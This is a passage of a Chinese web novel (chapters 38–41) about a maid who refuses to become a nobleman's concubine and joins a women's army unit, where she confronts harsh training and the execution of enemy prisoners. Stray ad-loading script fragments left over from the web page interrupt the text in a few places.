不知是不是早上那晚药,从未作乱的小日子,竟开始惹得腹痛。她忍着腹中疼痛,立在冷风里,感受身体散发出的寒意,以及口中尚存的苦涩之感。 不知过了多久,裴霁曦应是送走了定远侯,走进院子里,身后跟着轻风。 裴霁曦远远看见她,愣怔片刻没有上前。 反倒是身旁的轻风老远就开始打招呼:“冬雪。”可叫完又想起如今冬雪身份不一样了,忙看看身旁的世子,见他面无表情,才放心下来。 裴霁曦缓过神,慢慢走上前,轻风跟着上来,看见冬雪头上仍旧是简单的木簪,纳闷道:“你怎么没带上世子送你的簪子呢?那可是世子亲自……” 裴霁曦打断了轻风的多言:“你下去吧。” 轻风这才感受到两人之间的怪异,忙应了声,逃离这个气氛诡异的地方。 裴霁曦问初雪晴:“怎么不进屋,外面这么冷。” 他推开房门,初雪晴跟在身后,他回身看见初雪晴眼眸微垂,面色与唇色都略显苍白,他欲拉起她的手试试温度,刚抬起手又停在半空,不自然的握了握拳,他落座后,让初雪晴也坐下。 可初雪晴却一直立在一旁,声音平静问道:“世子,之前您说过战时不便进明履营,现在停战了,奴婢何时可以去明履营呢?” 裴霁曦愣怔片刻,答道:“我本想把你带在身边,就不去明履营了。” 初雪晴却道:“奴婢在世子身边,对您的名誉有损,还是明履营合适些。” 裴霁曦沉默片刻,她的话中都是推拒和远离,本以为两人是心意相通,如今看真的是自己一厢情愿,可也许他还应再明确一些。 他试探问道:“你不想跟着我?” 38. 第 38 章 初雪晴垂下头,很想反问裴霁曦,就想让我这么跟着你?一个通房? 她终究还是没有问出口,只道:“世子说过,明履营全是女子,练兵也是根据女子的体质来,更适合奴婢。” 裴霁曦站起身,更加靠近初雪晴,“你知道我问的是什么吧。” 初雪晴后退一步,语气却坚定依然:“奴婢不愿。” 不愿做你身边的金丝雀,不愿把命运系于他人手中,不愿所有价值耗尽在一方宅院的勾心斗角。 初雪晴拿出用帕子包着的雪花簪,双手递给裴霁曦:“世子,奴婢想要去明履营参军,世子答应过奴婢的。至于这簪子,奴婢素惯了,用不到。” 裴霁曦盯着初雪晴手中的雪花簪,想起那些在繁忙军务中抽出的罅隙,他不断地磨着那根簪子,就是为了让它更贴切“冬雪”二字,簪子在他的打磨下愈发圆润剔透,他时常将簪子揣在胸口,贴在心跳的位置,似乎簪子离他越近,他就离眼前这个人越近。 可此时,这簪子竟还要回到自己的手中。 裴霁曦不是一个会强人所难的人,可此时他竟十分不想要接下这簪子,仿佛只要这簪子还回来,一切就止步于此,他故作平静道:“这簪子你留着吧,只是你的及笄之礼,没有别的意思。” 初雪晴见他不接,便将簪子放在了一旁的桌子之上:“奴婢身份卑贱,从未过过生辰,也不在意什么及笄不及笄的,还是不要糟蹋了好物。” “谁说过你卑贱?”裴霁曦心中忽而升起莫名怒火,语气在克制中还是难掩加重了些,“我会让卑贱之人随军?会教卑贱之人读书习字?会对卑贱之人交心?” 初雪晴却觉得有些讽刺,那通房在他眼中是什么人?妾室在他眼中又是什么人?如果不把她当作卑贱之人,会这么理所应当地认为收她做通房,是对她的恩宠吗? 她努力提了提嘴角,露出一个难看的笑容:“既然世子不觉得奴婢卑贱,那也请世子尊重奴婢自己的意愿。” 裴霁曦紧紧攥着自己的手,盯着眼前假笑着的女子,却怎么也合不上脑中那个日思夜想的面孔,二人经历过的片段如风吹尘散般飘远,半晌,他才泄了力般轻声道:“你准备准备,明日送你去明履营。” “那奴婢便回去准备了。”言罢,初雪晴头也不回地走了出去。 裴霁曦无力地靠在椅子上,伸手轻轻拿起桌上的雪花簪,雪花簪外包着一方素净的白帕,连个刺绣都没有,一点念想都不留给他,真的是避嫌。 他将簪子重新揣入怀中,可此刻却觉得这簪子真如雪花般冰冷,冷到了骨子里,用什么都暖不过来。 * 初雪晴进明履营,在赵嬷嬷眼中,是不舍世子,要去军营陪着;在丫鬟腊梅眼中,是自找苦吃,留在府中没甚粗活吃吃喝喝不好么;在一心想当通房的霜华眼中,是狐媚子手段,勾得世子一刻也离不开…… 只有初雪晴自己知道,她是要走一条自己的路,既然知道裴霁曦存了什么心思,那他们两人之间便绝无可能了,她只能通过自己去奋力一搏,兴许还能活出点价值。 至于感情,如果不是一段平等关系下的相知相伴,那还不如孑然一身,起码落得自在。 裴霁曦遵照约定,翌日即带她前往望北关。到了望北关,便让墨语带着她去找明履营的方淼将军。 方淼是方若渊的姑母,也是严奇胜的妻子。方家是前朝武将世家,朝代更迭之时,选对了路,跟着老定远侯,也在定远军中立了足。 据说严奇胜是小兵出身,凭借一身胆识,娶到了方淼,两人无子无女,方淼连年征战,身体有损,不易有孕。严奇胜虽表面上不似什么钟情之人,嘴上荤素也没个把门,可从未动过找小妾的心思。 墨语将人带到便离开了,留下初雪晴一人,面对方淼的审视。 方淼年过而立,可整个人神采奕奕,盔甲下身躯挺直,英气凛凛。 初雪晴立在营帐之中,背脊挺直着,可头却微垂着,不失风骨却也恭敬有加。 方淼审视的看了她半晌,上前来捏了捏她的肩膀,初雪晴吃痛皱眉,忍着没有出声。方淼又踢了踢她的腿,她没站稳,趔趄了一下。 方淼摇摇头道:“你的身体底子不行啊。” 初雪晴抬头直视方淼,“身体可以练,可胆识是天生的,我之前在石喙岭随军侍奉世子,也有幸献过计谋。如能进入明履营,那是我身为女子最大的荣耀。” 方淼轻笑两声:“最大的荣耀?你是裴霁曦的丫鬟?什么丫鬟?” 初雪晴平静道:“普通丫鬟而已。” 方淼回到书案之后就座,指了指身后角落的位置,“你先在那立会儿。”随即埋头写开公文。 初雪晴明白,自己被举荐的方式容易让人产生误会,方淼恐怕是在给自己下马威,想要杜绝这样的“关系户”。 但是她也不怕这样的考验,只静默地走到她身后直挺挺地立着。 不知过了多久,帐外忽而响起浑厚响亮的嗓音:“夫人,夫人我回来啦!” 方淼听见声音,忙站起身,刚走到帐帘处,就见严奇胜撩开帐帘大喇喇进来,迎面抱起方淼转了个圈,方淼忙推他,却听严奇胜压低了嗓音道:“素了那么久,让我抱抱。” 营帐就这么点大,严奇胜虽然压低了嗓音,帐外听不到,可那句话初雪晴是听得一清二楚,她忙垂头降低存在感。 方淼急道:“帐里有人!” 严奇胜这才注意到角落里的冬雪,放下方淼,“嘿嘿”笑了两声,只道:“是冬雪丫头啊!没事没事,自己人。” 方淼瞪了他一眼,“你怎么回来了?” “北狄都撤军了,石喙岭那个地方交给卢桀妥妥的了,我还不得赶紧回来。”严奇胜一拍脑门,又道,“之前裴小将军让我举荐冬雪给你,怪不得今日他让我赶紧回来!夫人,这丫头不简 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 单,之前用计离间了北狄内部,可聪明着呢。” 严奇胜没忘记裴霁曦的嘱托,又说了几句初雪晴的好话。 方淼本想给冬雪个下马威,没想到自家夫君一直在这拆台,不悦推了他一把,“你先回去,我这还有事。” 严奇胜看看角落里立着的初雪晴,又看看眼前的夫人,知道夫人这是在新兵面前树立威信,可还是舍不得这么快走,他嘱咐道:“那你晚上找我去啊!一定啊!” 方淼低声喝道:“你说什么呢!这是军营。” 严奇胜摸摸脑袋,“我没说啥啊,我就是,就是和你说说石喙岭之前的战事。”说完又偷偷捏了把方淼的手,趁她生气前灰溜溜走了。 方淼被拆了台,不仅下马威没立好,这点将军的颜面也被严奇胜丢的差不多了。要不是严奇胜跑得快,她多少也得打他几下出气。 她清了清嗓音,问一直默默不语的初雪晴:“你为何来明履营?” 初雪晴闻言,坚定道:“我想有一番功绩。” “要功绩做什么?”方淼追问。 “不做什么,只是做自己,让自己懂的、会的,能发挥价值,而不是蹉跎在一方宅院。” 方淼轻笑两声:“我以为,你是想挣得功绩,好配得上裴霁曦。” 初雪晴默默摇头,“与人作妾,幸者得育子女,徒留姓氏,悲者与奴仆无异,甚至连姓都没有,只留主子赐名。” “那你找个平头百姓,做个正妻不就得了?裴霁曦如此看重你,想必为你脱了奴籍也不难。” 初雪晴继续道:“为人正妻,相夫教子,囿于后宅,冠以夫姓……我只想做一个有名字的人。” 方淼难得点了点头,面露欣赏,可过了半晌,她才道:“你可知,明履营有多少人。” “听闻,是三千人。” 方淼又问:“那你可知,明履营开始有人少人?” 不等初雪晴回答,方淼便沉重道:“万人有余,大多是开国时,被前朝苛政压迫,失了亲人的寡妇孤女,后又有经历饥荒,无处可去的难民。可之后嫁人的嫁人,牺牲的牺牲,零零散散也招些无路可走的女子,如今就只剩下三千人,你还要来?” 初雪晴目光坚定看向方淼:“方将军不必如此妄自菲薄,虽是寡妇孤女居多,但明履营从来没丢过定远军的颜面,我也听闻,定远军最好的弩手队,就在明履营,即使人少,也是定远军不可或缺的一份子。” 方淼似乎快被这个小女孩打动了,可她也知道入明履营对一个女子而言意味着什么,近年来陆陆续续离开明履营的女子,她见的不少了。谁都希望建功立业,可这个世道对女子的衡量,从不是军功,而是世道赋予她的身份,女儿、妻子、母亲…… “你挺能说的。”方淼道,“但是还得看你做的怎么样,明天开始,跟着大伙一块训练。” 初雪晴这才松了口气,道:“定不会让将军失望。” 39. 第 39 章 初雪晴这次在明履营,就没有之前跟着裴霁曦时的优待,只能跟着大家伙睡通铺。好在明履营的士兵都是些身世坎坷的女子,没有因她是侯府的人就优待,也没有因她丫鬟身份就薄待,如寻常接纳新兵的老兵,向她介绍了些军营的规矩。 日常带他们训练的参将据说是舞阳将军原来的丫鬟,戚荷,日常都冷着脸,不苟言笑,训练时也狠,初雪晴本以为明履营的训练会比男兵简单一些,可没想到强度并不比男兵那边差,只是更加注重灵活性的培养。 她第一日训练,戚荷就让她跟着老兵负重跑十圈,虽说以前跟着裴霁曦训练时也经常跑步,可没有一次性跑这么远,待到她硬挺着跑完了,只感觉腿都麻木了,嗓子火辣辣的疼。 别的老兵跑完,照常集合,可她不仅跑在最后,停下来的时候,也原地喘着粗气,缓不过来。 戚荷立在她的身旁,只道:“集合,跟不上的出去。” 初雪晴忍着身上的不适,迅速跟上队伍。 同是女子,她又如此年轻,可她的体力竟和老兵差这么多,不禁让她对之前的大话有些汗颜。 她完全凭着意志跟着大家训练的节奏,可身体底子在这里,一日训练下来,疲惫不堪,最终在下午练习布阵时晕倒了。 * 当轻风有意无意地,在裴霁曦耳边提起初雪晴晕倒的消息时,裴霁曦最终还是没能按捺住躁动的心情,直奔明履营找方淼。 可到了才知,方淼去找了舞阳将军,他便又转去裴梦芝的营帐。 他到时,方淼与裴梦芝正坐在一起谈笑,两人对他的到来也并未感到意外,仿佛知道他会到来似的。 他行过礼,拿出一卷册子,递给裴梦芝,“姑母,这是之前新兵训练时,新拟的章程,侄儿觉得,日后可以照此训练新兵。” 裴梦芝接过册子,嘴角含笑瞥了他一眼道:“之前倒是听严将军提过,这个章程是谁拟的呢。” 听裴梦芝这么问,裴霁曦心下稍定,道出了准备好的回答:“是我之前的丫鬟冬雪拟的,如今她已加入明履营。” 裴梦芝转头问方淼:“方将军可见了此人?如何?” 方淼毫不掩饰地笑了两声,道:“裴小将军培养出来的人才,脑子自然差不了,就是体质差了些,今日训练,都晕倒了。” 裴梦芝“咦”了一声,问裴霁曦:“曦儿可是因为听闻冬雪晕倒的消息才来的?” 裴霁曦不动声色否认道:“并非如此,只是顺嘴提到她而已。新兵入营,难免跟不上节奏,待她适应一段时间,想必便能展露锋芒了。” 方淼起身,抬头揶揄看向裴霁曦:“不是心疼了吧!” 裴霁曦眉头微蹙,“方将军说笑了。” 方淼话中有话道:“我说也是么,那丫头心气高的很,不愿做妾,我说让她找个平头百姓嫁做正妻,她又道不愿困在后宅,裴小将军既然把她送到军营,想必是没有别的心思的。” 方淼边说,边观察着裴霁曦的神情,她要知道,自己的新兵究竟是什么身份,是单纯来当一个兵,还是拿明履营当跳板,去到更高的枝头。 裴霁曦愣怔看向方淼,困顿在心头几日的思绪忽而有了出路,回过神来,只道营中还有别的事,便告辞了。 方淼看着他离开的背影,便知他与那丫鬟的关系没有那般简单。 裴梦芝见裴霁曦走了,才对方淼道:“你呀,就没安什么好心思吧,怎么刚入营的小丫头,就给放到老兵里头一起训练了,曦儿不心疼才怪。” 方淼嗤笑一声,“并非我不通人情,只是那丫头不是当兵的料,体质太差,端看她有没有这个毅力了,我是想让她知道当兵有多苦,没这个毅力,趁早离开。” 裴梦芝展开手里的册子,略过几眼,“这丫头要是体质实在差,在军营里做些文书的工作也尚可,她才智过人,日后,往军师的方向培养培养。” 方淼不置可否:“军师也得有自保能力吧!就她那体格,连自己也护不住,早晚也是拖累。” 裴梦芝摇摇头,“她不想着嫁人,这心气,倒是挺符合明履营的,明履营里,不是你这样把夫婿管得死死的母老虎,就是立志不嫁的巾帼女儿。” 方淼瞪她一眼:“谁是母老虎?说的跟你不是似的。” 裴梦芝笑道:“我才不是,我对我夫婿温柔得很,只是对你们严厉罢了。” 方淼“呦呦”调笑了两声,又道:“话说回来,这次军资,多亏姐夫暗中协调,怪不得老将军要将你嫁一个商人,关键时候,还真靠得住。” “胡说什么,我们是两情相悦,才不是父母之言。”裴梦芝反驳道,“他那是为了帮我,才放弃科举,立志从商的。” 方淼忙道:“是是是,我说错话了,舞阳将军莫怪!话说回来,战事都歇了,也该回家看看了,你又不像我,你还有个女儿呢。” 如今定远侯京城述职,裴梦芝需要镇守在营中,她叹口气:“再不回去,估计我女儿都不认识娘了。等等斥候的消息,若北狄大军完全撤回境内,就让大伙轮流省亲。” * 冬夜的冷风凉得彻骨,卷起地上未来及清扫的雪粒子,扑在脸上冷意沁人。 裴霁曦在营地徘徊许久,却始终不敢靠近明履营。 是他莽撞了,他知道初雪晴有多么特别,和他见过的所有丫鬟,甚至所有女子都不一样。 她不似普通丫鬟一样囫囵度日,她拼命学习,捧起书来就舍不得放下。也不似明履营的女兵一样粗犷,她待人温润,却有难以察觉的疏离。 闻得方淼的一席话,裴霁曦才茅塞顿开。他怎会以为初雪晴是会愿意做通房的普通丫鬟呢?怎会以为他想给的就是初雪晴想要的呢? 直到绕着营地走了五圈,始终绕开明履营,心中仍是纷乱不堪,最终去找了方若渊。 他到的时候,严奇胜也在帐中。 打过招呼,三人围着炭盆取暖,严奇胜对裴霁曦道:“我这等了一晚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上了,我媳妇还在舞阳将军那,你去,找你姑母说说话,把我媳妇放回来。” 方若渊一边拨着炭火一边揶揄:“姑父这好不容易盼到能回望北关,结果还是寒衾孤枕哪。” 严奇胜对着炭火搓着手,不屑道:“就算等再长时间,我总是能等到媳妇的,你们两个小破孩,没有媳妇,是不晓得这滋味喽。” 方若渊笑道:“我们俩还年少,不用急。” 裴霁曦在迷茫中抬眼看向严奇胜,严奇胜从籍籍无名的小兵,一刀一枪杀出条血路,又娶了意中人,人前也从来不避讳对妻子的爱慕,他不禁想讨教一二,问严奇胜道:“不如讲讲,你是如何求娶方将军的?” “咋了,想偷师啊?”严奇胜嘿嘿笑道,“你脸皮薄,学不来。让我猜猜是哪家小姐,让咱们裴小将军动了春心呢?” 裴霁曦赧然低头,辩驳道:“胡言乱语。” 方若渊了然一笑,“姑父,别总猜小姐,说不定是个丫鬟呢。” 严奇胜拍拍脑门,大声道:“原来是冬雪啊!” 裴霁曦忙道:“你们小声点!” “哎哎,就你这脸皮这么薄,怎么能讨到媳妇呢!想当初我喜欢阿淼,全军营的人都知道,有啥可藏着掖着的。” 方若渊也是世家出身,自然知道裴霁曦的难处,他摇摇头道:“姑父,不一样,你那是讨媳妇。” “有啥不一样!”严奇胜忽而惊诧地看向裴霁曦,“你不会是就想讨冬雪暖被窝,不给人名分吧?怪不得藏着掖着呢!” 方若渊替裴霁曦解释道:“姑父,冬雪是个丫鬟,霁曦是世子,将来要袭爵的。” “丫鬟咋了,我瞅那丫头聪明得很,配你个世子,绰绰有余。”严奇胜想到了自己的出身,忿忿道,“你们这些世家子弟啊,别瞧不起人,说不定将来扒着别人,别人都不屑呢。” “我不是……”裴霁曦想反驳,又止住了,不是什么呢,这点龌龊心思,已经被揭开了。只有严奇胜这种出身草根的人,才不会被门第之见左右,才能从冬雪丫鬟的身份下,看到璞玉的珍贵。 而自己呢,以为懂得赏玉,其实只是拿来把玩罢了,真正不配的人,是他。 “你不是!对,就是你的不是,两情相悦,那就好好对人家,要人家暖被窝,回头再娶个大小姐,坐享齐人之福。”严奇胜嗤道,“我虽然话糙,嘴上没把门的,但我可从来没找过别的女人,就这点,你就学不来!” 方若渊看严奇胜骂起来便收不住,忙调和道:“姑父,你出身草根,自然不了解我们的难处。” “呸!”严奇胜啐道,“难处?什么难处?想要向我请教如何讨媳妇,先把自己的身份摆正吧!” 严奇胜气呼呼要走,却听见裴霁曦说了一句:“的确,是我的不是。” 裴霁曦抬眼看向严奇胜:“严将军言之有理,是我没认清自己的身份。” 炭火噼啪作响,裴霁曦心上的浮躁却一扫而空,渐渐沉静下来。 40. 第 40 章 裴霁曦回到自己营帐后,轻风正在帐内等他,见他回来,忙道:“世子,我去打听了一下,冬雪已经醒了,大夫说就是劳累过度,休息休息就好了。” 裴霁曦垂下眸子,坐在桌前随手拿起一本书册翻看,装作不经意地“嗯”了一声。 轻风见他反应平淡,正思忖是怎么回事,裴霁曦的眼眸从书册中抬起,问道:“就这些?” 轻风没忍住笑了出来,这才是正常的反应,世子怎么可能听到冬雪的消息没反应呢,当然是装的,轻风忍着收敛了笑声,“听说冬雪跟明履营的人关系不错,也是,冬雪那么聪明,对谁都笑意盈盈的,明履营的人不会欺负新兵的!” 裴霁曦随意翻着书页,可目光却好似穿过书上的文字,看不进什么东西,只能听得到轻风话语间冬雪的名字。 轻风继续道:“但是冬雪武艺差些,虽说跟着您练了那么长时间,也顶多是强身健体,和老兵是没法比的。好在她还小嘛,估摸着再练一段时间也就好了。” 往常裴霁曦总觉得轻风聒噪,可现在觉得轻风的话应该再多些,每次停顿,他都等着下文,又怕没有下文,他干脆放下书册,抬眼看向轻风:“还有呢?” 轻风“嘿嘿”一乐,“世子,我又进不去明履营,只是在外打探打探,要是您还想知道别的消息,您自个去看看冬雪多好。” 裴霁曦垂眸不语,他不是不想,是不敢。 自以为是地要将她收进房中,但这不是初雪晴想要的,这只是他自己的私心罢了。 他明明是不屑于要通房的,世人都说父亲深情,母亲走后不再续娶,可他知道,李氏一直横亘在父母之间,母亲的郁郁寡欢,多少也跟李氏有些关系。父亲哪里为了母亲是不再续娶,明明有李氏就够了。 当他意识到自己对初雪晴动了心思,用世家子弟都有通房这个恶劣的理由来安慰自己。他知道她有多好,可他竟把这种好糟践了。 他又有什么资格去看望她呢? 如果进明履营是她想要的,莫不如就成全她吧。 就这样,裴霁曦没有再去打扰初雪晴,只是默默关注着她在明履营的动静。 从初冬的微冷到深冬的酷寒,对望北关的定远军来说都已习惯,即使战事暂歇,也从未停下他们训练的脚步。初雪晴努力跟上训练的节奏,偶尔还会发些小病,但好在大体能跟上,但也仅限于“跟上”而已。 和那些身经百战的老兵相比,她仅仅是凭着一腔毅力在撑着。 武艺也讲求天赋,她的箭永远射不准靶心,她的长枪也近不了对手的身,甚至她的盾总是慢于对手出招的速度,弄得身上常常青一片紫一片。 方淼最开始对她还有些期待,可渐渐也不再管她,可能若不是裴霁曦的关系,她早就作为次等兵被淘汰了。 在春节前夕,北狄按照约定,大军全部撤回境内,且奉上了岁贡,定远侯还在京城,舞阳将军下令让一半的士兵回家省亲,在士兵休假前,定远军组织了一场军内的比武。 深冬的风雪凛冽,今日的雪虽不大,但伴着冷风刮在脸上,皮肤如要割裂一般。可对常年在北境作战的定远军而言,这种天气打仗也是常事,所以并未因风雪取消比武。 校场上,昨夜刚被打扫过的演武场,又覆上了薄薄一层冰雪,踩上去是沙沙的声音。可渐渐踩的人多了,地便开始有些滑,更加考验比武的人。 各个营都派出了最厉害的兵,明履营也不例外。 作为明履营里资历最浅、武艺最差的初雪晴,只能在人群之中,看着台上的人各展神通。 明履营的参将戚荷,不仅弓箭射的准,耍枪也耍得狠,接连好些个男兵都败在她手下。 同样是丫鬟出身,戚荷怎就有这般武艺。 初雪晴愣愣地看着台上,戚荷身上光芒太盛,那是她向往的女子的模样。只有在明履营,才能让她对这世道燃起一丝丝希望。可想到自己拙劣的武艺,又觉得自己离那模样太远。 仿佛之前跟在裴霁曦身边出谋划策的小丫头,已经离她太远了。训练了两个月,连身边的战友都看出来,她没这个天赋。 台上激战之时,轻风挤过人群,凑到了初雪晴身边,“冬雪,世子找你呢!你跟我走。” 初雪晴愣怔片刻,反应过来后,未多做言语,还是跟轻风离开了。 轻风边走边念叨着:“你们明履营训练也排得太满了,我都找不到机会去找你。世子就在营外,咱们赶紧过去,一会他要去别处了就不好找了。” “世子找我何事?”初雪晴不解问道,既然世子找她,为何轻风又怕他去别处? “啊,我也不知道啊……”轻风语塞。 初雪晴恍然明白,这是轻风自己拉她过来的。可她没有戳破,只是默默跟着轻风。 毕竟,她也两月未见那人了。 到了营外,轻风兴奋地指着不远处的裴霁曦,“你看,世子就在那,还好他没换地,你赶紧过去。” 初雪晴犹豫片刻,终于还是走了过去。 轻风见她走到裴霁曦身边,这才放心地转头跑了。 风雪刮来裴霁曦身上松木的气味,看来她不在时,轻风也是接着用原来的松木香为他熏衣。 初雪晴对着裴霁曦行礼:“世子,轻风说您找我。” 裴霁曦愣愣地看着眼前的初雪晴,两月不见,她面颊都消瘦了,不知是不是训练太过疲累,连眼神都失了以往的光泽。 裴霁曦半晌才反应过来,定是轻风自做主张来帮他的,他只得寻了个借口:“之前给你写信,提到过卧佛,还是想带你来看看。” 初雪晴顺着裴霁曦的目光看去,远处覆盖着冰雪的连绵山脉,有一处形似躺着的人脸,可惜今日有风雪,看不到他信中所说的“霞光满铺”。 裴霁曦继续道:“望北关是北境最重要的关口,而卧佛,不仅是北狄人眼中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的阴山山神,更是我军不能被逾越的关口。定远军一直守在这里,就是要让卧佛见证,此处,绝不会放进北狄一兵一卒。” 初雪晴摇摇头,有什么不可逾越的呢,人为划分的边境线,两国之间不断的征战,沙场上的尸横遍野,是卧佛想见到的吗? 她轻声道:“卧佛之所以躺在边境线上,是因为两边都是天下子民,它要涤净杀戮,唤得太平。定远军守在这里,不是要阻挡什么人,而是要保护自己的子民而已。如果能两国交好,那无谓的杀戮则可免了。” 裴霁曦诧异看向她,裴霁曦从未用这个角度去思考过卧佛的意义,只将边境线以外的人,看做是是敌人,是侵略者,是必然要成为定远军刀下亡魂的。 裴霁曦道:“你这样的想法,不应该是一个军人的想法。” 初雪晴目光从远处的卧佛收回,默默垂下头,低语:“也许我不适合做个军人。” 看着她失落的神色,裴霁曦真想把她拥进怀中,抚抚她的头,让她能在自己的怀中找到依靠。可他也知道,初雪晴不需要什么依靠,她一直有自己的路要走,而自己,甚至不能为她指路,只能告诉她,那条路有什么,走不走,都只能是她自己决定。 “没有什么适不适合,我说过,我会给你你想要的,如果当兵是你想要的,我会帮你。”裴霁曦顿了顿,继续道,“之前,会错了意,是我的不对。你放心,你不愿做的事,我不会勉强你。” 初雪晴抬眼看向裴霁曦,只一眼,就看到那温润的眸子,带着能软化冰雪的温暖,她忙错开眼,不敢再看,怕自己溺在那温暖之中。 * 初雪晴告别裴霁曦,往营地走。 裴霁曦如今的态度,并未对她强求什么,她应该放心的,可心中不知为何,又有一丝落寞。 若是寻常丫鬟,主子能有一分心思放在自己身上,便是天大的喜事。可她不同,她不愿带着底层的卑微去仰望。若能有比肩之人同路而行,自是幸事,若没有,那这条路,她自己走。 可笑的是,她以为自己找到了比肩之人,她以为裴霁曦会和这个世道的人都不同,可他仍只把她当作可以随意收用的丫鬟。 这个世道,大概也只有明履营这个一条路,可以容下她的惊世骇俗了。 今日大部分人都在校场那边,留下一些值岗的士兵,和方才校场的热闹不同,周边安静得只听到呼啸而过的风声。 走着走着,她忽闻一段悠扬的轻哼,随着风声,带着节奏飘来。 她不禁驻足,感受那曲调里的悲怆。 初时的悠扬,仿佛思乡的哀愁,似是在告别亲人,带着必死的决心奔赴战场;可曲调渐渐加急,是沙场的战马嘶鸣,刀剑锵锵,漫天风沙掩不住酣战的千军万马;正当心弦绷紧时,曲调又陡然直下,血染沙场的残酷终究是露了出来,尸横遍野,断剑残刀;声音慢慢几不可闻,是失去战友的呜咽,是回不去的家乡…… 41. 第 41 章 初雪晴顺着声音走过去,却听见有人唤她。 “冬雪。”是祈允,手持长刀站岗。 初雪晴诧异问道:“你怎么没去比武?” 祈允淡淡道:“是你说的,当将军,武艺在其次,更重要的是要驭人,这些出风头的事情,留给别人吧。” 初雪晴回想起之前劝慰祈允的话,不禁摇摇头,劝人易,规己难。如今她从小兵做起,驭人还远着,她连武艺这一关都过不了。 祈允继续道:“我在这里看守俘虏,你怎的来这里了?” 初雪晴这才想起方才听到的曲调,问道:“方才听见有人哼曲,顺着声音过来了。” 祈允皱皱眉,不屑道:“是北狄俘虏,这次和谈,北狄只肯赎回公主,不肯付其他俘虏的赎金。” “那就这样一直这么关着他们?” 祈允低声答:“舞阳将军下令,在除夕送他们上路,也算慰劳我军亡魂。” 初雪晴思绪纷繁,难怪她从方才的曲调听出那样的悲怆,她轻声问:“我可以看看他们吗?” 祈允眉头微皱,“为何?” 初雪晴垂眸道:“曲子很好听。” 祈允凝神沉思片刻,只道:“军令如山,不可探视。” 初雪晴慢慢点了点头,“我明白。” 初雪晴折身欲走的时候,祈允又道:“该放饭了,我还要站岗,你帮我去伙房拿过来他们的吃食吧。” 初雪晴微微抬眉,诧异看向祈允,沉默了半晌,便朝着伙房的方向走去。 待初雪晴拿饭回来,祈允嘱咐她:“不可和他们说话,放下吃食就出来。” 初雪晴点点头,掀开帐帘,帐内放着一个巨大的木制牢笼,里面有五六个俘虏,皆是衣衫褴褛,蓬头垢面,身上还有未结痂的伤痕。 帐内没有取暖的东西,并不比帐外暖多少,可这些俘虏身上只有深色的破旧布料,像是被血水染透又干了的颜色。 他们看见有人来送饭,都往前凑,身上的镣铐划过地面发出“哗啦”的声响。 初雪晴将食盒放在牢笼口,他们争先恐后地取出食盒里的吃食,用脏手往嘴里送。 有一个俘虏,并未去抢吃食,反而一直盯着初雪晴,半晌,嘶哑着声音道:“阿妹,是你吗阿妹?” 初雪晴对上那双眼睛,那双眼布满血丝,直愣愣地盯着自己。 那个俘虏自顾自说着:“阿妹,阿兄回不去了,你照顾好阿爹阿娘,和你嫂嫂说一声不要等我,让她带着两个孩子改嫁吧。” 那俘虏说完,又仿佛清醒过来,倏地开始跪下磕头,“你不是阿妹,你是定远军的人,求求你们,放我们回去吧,我们对你们没有用处了,可我们家里还有亲人要照顾,我们保证以后不参军,只是想回家和亲人团聚。” 初雪晴紧闭双眸,恰听见外面祈允的声音:“冬雪,送完饭快出来。” 她这才回神,跑了出去。 她没有理门口的祈允,一路跑回了明履营。 到了方淼的帐子外,她停下脚步,大口大口地呼吸,冷风见缝插针地钻进胸腔,让她通身都被寒意包裹。细细的雪粒子伴着风吹入眼中,她眨了眨眼,有些看不清路。 她平复呼吸,待侍卫通报后,便挺直脊背,掀帘进帐。 方淼自案牍前抬眼看了看她,随意道:“怎么没去看比武,自己武艺不行,连别人比武都不敢看么?” 初雪晴垂下眸子,思索片刻道:“属下学艺不精,看过诸位高手过招,只觉自己差距过大。” 方淼淡淡道:“知道自己差得远,还不赶紧练。武艺学不好,起码把体力练好吧!” 初雪晴顿了顿,她脑中不断回响着方才那首思乡的曲音,虽知道不合时宜,但还是将闷在心中的话说了出来:“属下方才回营时,听见一曲小调,被勾起了些思乡之情。一问才知,那小调是北狄俘虏哼唱的。属下有一事不明,请将军赐教。” 方淼瞥了她一眼:“说。” “为何北狄已降,俘虏还不放回呢?” 方淼眯起眼睛,盯着初雪晴,初雪晴并未被这目光吓到,坦然回视。 方淼不屑道:“你是在为北狄俘虏求情?” “不是。”初雪晴道,“属下只是想到,若我明履营的士兵在战中被俘,我希望他们有回来的机会。” “放屁!”方淼忽然拍桌起身,怒道,“我明履营,从来没有俘虏!” 初雪晴忙辩解道:“我不是诅咒,只是以己度人,希望俘虏都能和家人团聚。” “我明履营的士兵,”方淼咬着牙一字一顿道,“只有赢,和死,从来没有被俘这个选择。” “可……” 初雪晴的话被方淼打断:“因为我明履营,全是女子,连尸身都必须是干净的,决不会让大宁蒙羞。” 初雪晴脸色刷得变白,她才听明白,方淼所说的,没有俘虏,不是明履营的士兵不会被俘,而是一旦被俘,会立刻自尽,以免名节受辱。 她脚步虚浮,讷讷道歉,退出了帐子。 她以为明履营的女子,是卓然于世,不被世俗所傅,不被礼教约束。即使世人不解,飞短流长,可她们自己是不屑于用这些眼光去衡量自己的。 可她们只是敢在这森严礼教的层层束缚之下,掀起一个小缝,拼命呼吸罢了。 她又想到京城时遇到的杨若柳,明明是被坏人掳走,却要承受恶语相向。 原来都是,身不由己。 * 除夕这日,如祈允所说,舞阳将军下令将俘虏绑至高台行刑。 众人欢呼着胜利,叱骂着北狄,那些俘虏的殒命,似是众人最喜欢的节目。 篝火早早就在校场燃了起来,“主菜”俘虏们被押至高台。 初雪晴隐在众人之中,没有跟着众人一起呐喊,只是静静看着台上。 方淼却走到了她的身边,拽着她的胳膊往前,穿过人群,到高台正下方。方淼厉声道:“看他们值得同情是吗?可你知道他们手上有多少条定远军的人命吗?知道他们有多该死吗?” 初雪晴咬着牙,定定睁着眼看向前方的俘虏,那是战争的代价,是活生生的人命,是无数个家庭的支离破碎换来的。 刽子手迈着大步走向高台,其中一个俘虏抬起头,正是那日疯言疯语的一个。他抬头扫一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 